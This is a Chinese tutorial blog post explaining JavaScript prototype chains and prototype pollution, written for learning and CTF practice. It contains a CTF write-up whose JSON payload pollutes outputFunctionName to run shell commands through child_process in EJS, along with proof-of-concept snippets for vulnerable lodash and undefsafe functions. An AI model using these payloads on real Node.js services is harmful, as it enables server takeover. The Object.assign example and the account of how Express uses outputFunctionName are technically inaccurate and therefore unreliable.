js原型链污染
JavaScript 是一门非常灵活的语言,与 PHP 相比起来更加灵活。除了传统的 SQL 注入、代码执行等注入型漏洞外,也会有一些独有的安全问题,比如今天要说这个原型链污染。本篇文章就让我们来学习一下 NodeJS 原型链与原型链污染的原理。
什么是原型链(Prototype Chain)?
在 JavaScript 里,对象是可以继承其他对象的属性和方法的,这种继承就是通过“原型(prototype)”实现的
每个对象都有一个隐藏属性 [[Prototype]]
(可以通过 __proto__
访问),它指向另一个对象,这个被指向的对象就是“原型对象——prototype“。
这些原型对象也可以有自己的原型——__proto__,层层向上直到一个对象的原型对象为null,于是就形成了一个“链条”结构~这条链子就叫做 原型链(Prototype Chain)
举个栗子喵:
let obj = {name: "ALe"
};console.log(obj.toString()); // 虽然没写这个方法,但可以调用!// 因为 obj -> Object.prototype -> 原型链上找到了 toString 方法
💡 这里的过程是这样的:
obj↓
Object.prototype↓
null(原型链的尽头)
一个更形象的例子:
function Cat() {}
Cat.prototype.sayHi = function () {console.log("喵~");
};let migu = new Cat();
migu.sayHi(); // 喵~
migu
自己没有 sayHi
方法,但它可以通过原型链从 Cat.prototype
那里找到并使用它!
原型链长什么样喵?
migu --> Cat.prototype --> Object.prototype --> null
a.__proto__
是与 A.prototype
等价的,而 A.prototype.__proto__
是指向 Object.prototype
的,再往下 Object.prototype.__proto__
指向 null,这就是 JavaScript 中的原型继承链,所有类对象在实例化的时候将会拥有 prototype 中的属性和方法,这个特性被用来实现 JavaScript 中的继承机制。
我们可以通过以下方式访问得到某一实例对象的原型对象:
objectname.[[prototype]]
objectname.prototype
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
JavaScript 对象是动态的属性“包”(指其自己的属性)。JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。
https://xz.aliyun.com/news/9482关于原型链更复杂的东西可以在这里面学
什么是原型链污染?
在 JavaScript 里,每个对象都会通过 __proto__
(或者 Object.prototype
)连接到它的原型链上。当我们访问一个对象的属性时,如果这个属性不存在,就会沿着原型链去找。
原型链污染 就是指攻击者可以通过修改对象的原型链(Object.prototype
),给所有对象添加恶意属性或方法。这可能会影响整个应用程序的行为,甚至造成严重的安全漏洞
在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致dos攻击、篡改程序执行流程、RCE等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。
举个简单例子喵:
let obj = {};
console.log(obj.hack); // undefined// 模拟污染
let payload = JSON.parse('{"__proto__": {"hack": "you are hacked"}}');
Object.assign({}, payload);console.log(obj.hack); // you are hacked
在这个例子中:
- 我们用
JSON.parse
模拟从外部传入的数据。 - 把
__proto__
的值设置为了一个对象,其中含有一个叫"hack"
的属性。 - 然后用
Object.assign
把这个污染对象合并到一个新对象里。 - 最终污染了整个
Object.prototype
,所有对象都能访问到hack
属性
Merge 类操作导致原型链污染
Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。
我们平时开发时常常需要把多个对象合并起来,比如配置项:
、const defaultConfig = { theme: "light" };
const userConfig = { theme: "dark", lang: "zh" };const config = Object.assign({}, defaultConfig, userConfig);
合并后配置就是 { theme: "dark", lang: "zh" }
,但问题来了——如果你使用的是递归合并(deep merge),就容易中招
为什么 Merge 操作容易被污染?
深度合并时,我们会把嵌套对象一个一个递归进去:
function deepMerge(target, source) {for (let key in source) {if (typeof source[key] === "object" &&source[key] !== null &&typeof target[key] === "object") {deepMerge(target[key], source[key]);} else {target[key] = source[key];}}
}
如果攻击者传入的是:
{"__proto__": {"isAdmin": true}
}
那在 merge 的过程中就会执行:
target["__proto__"] = { isAdmin: true };
然后你就污染了整个 Object.prototype
例如:
[GYCTF2020]Ez_Express
www.zip下载源码
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;const merge = (a, b) => { // 发现 merge 危险操作for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}
function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined
}router.get('/', function (req, res) {if(!req.session.user){res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={'user':req.session.user.user});
});router.get('/login', function (req, res) {res.render('login');
});router.post('/login', function (req, res) {if(req.body.Submit=="register"){if(safeKeyword(req.body.userid)){res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={'user':req.body.userid.toUpperCase(), // 变成大写'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true;}else{res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/');
});
router.post('/action', function (req, res) { // /action 路由只能 admin 用户访问if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); // 使用了之前定义的 merge 危险操作res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
/route/index.js
中用了merge()
和clone()
需要admin账号才能用到clone()
可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到
'user':req.body.userid.toUpperCase(),
这里将user给转为大写了,这种转编码的通常都很容易出问题
Fuzz中的javascript大小写特性 | 离别歌
注册admın
让我们输入自己最喜欢的语言,这里我们就可以发送 Payload 进行原型链污染了:
{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
然后访问info路由就可以得到flag
payload原理
req.body
中含有__proto__
:
{"__proto__": {"outputFunctionName": "..." // 恶意代码}
}
- 进入
merge()
后,会变成:
Object.prototype.outputFunctionName = "..."
- 在
/
和/info
路由中,有这么一句代码:
res.outputFunctionName = undefined;
你可能会以为这设置了一个空值,但其实并不会阻止调用这个字段
因为 Express 用的是 res.render(view, locals),它内部可能会调用 res.outputFunctionName()
作为模板渲染钩子,特别是在使用像 ejs
、pug
之类的模板引擎时。
所以:
res.render('index', data={ user: req.session.user.user })
时,可能会调用这个 outputFunctionName
字段。
一旦这个字段被设置成了一个函数或表达式字符串,比如:
js复制编辑
Object.prototype.outputFunctionName = "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()"
在某些模板引擎(例如旧版 ejs
)中会被当作要执行的代码,从而执行 RCE
global.process.mainModule.constructor._load("child_process").execSync("cat /flag").toString()
这个就是最经典的 Node.js 沙箱逃逸技巧,可以执行任意命令!
比如这条命令就会读取 /flag 文件的内容
Lodash 模块原型链污染
什么是 Lodash?
Lodash 是 JavaScript 的一个非常流行的工具库,常用于:
- 深拷贝对象(
_.merge()
) - 默认合并值(
_.defaults()
/_.defaultsDeep()
) - 各种数组、对象处理便利函数
非常多的后端和前端项目中都会用到 Lodash
————————————————————————————————————
对下面这些我都只是一知半解只会用poc的程度,具体原理可以看https://xz.aliyun.com/news/9482
lodash.defaultsDeep 方法造成的原型链污染(CVE-2019-10744)
2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 defaultsDeep
函数可能会被包含 constructor
的 Payload 诱骗添加或修改Object.prototype
。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'function check() {mergeFn({}, JSON.parse(payload));if (({})[`a0`] === true) {console.log(`Vulnerable to Prototype Pollution via ${payload}`);}}check();
lodash.merge 方法造成的原型链污染
Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources
来源对象自身和继承的可枚举属性到 object
目标对象,以创建父映射对象:
merge(object, sources)
当两个键相同时,生成的对象将具有最右边的键的值。如果多个对象相同,则新生成的对象将只有一个与这些对象相对应的键和值。但是这里的 lodash.merge 操作实际上存在原型链污染漏洞
验证漏洞的 POC:
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL
属性,即给所有 Object 对象中都插入一个 sourceURL
属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞
lodash.mergeWith 方法造成的原型链污染
这个方法类似于 merge
方法。但是它还会接受一个 customizer
,以决定如何进行合并。 如果 customizer
返回 undefined
将会由合并处理方法代替。
mergeWith(object, sources, [customizer])
该方法与 merge
方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
lodash.set 方法造成的原型链污染
Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。
set(object, path, value)
- 示例:
var object = { 'a': [{ 'b': { 'c': 3 } }] };_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5
在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:
var lodash= require('lodash');var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
lodash.setWith 方法造成的原型链污染
Lodash.setWith 方法类似 set
方法。但是它还会接受一个 customizer
,用来调用并决定如何设置对象路径的值。 如果 customizer
返回 undefined
将会有它的处理方法代替。
setWith(object, path, value, [customizer])
该方法与 set
方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:
var lodash= require('lodash');var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
Undefsafe 模块原型链污染(CVE-2019-10795)
Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。
undefsafe()
在设置路径时,没有阻止你写入特殊字段如:
__proto__
constructor
prototype
于是你可以这样操作:
undefsafe({}, '__proto__.polluted', '💣');
console.log({}.polluted); // 💣
这就造成了原型链污染漏洞, 和 Lodash 的 merge 漏洞本质一样
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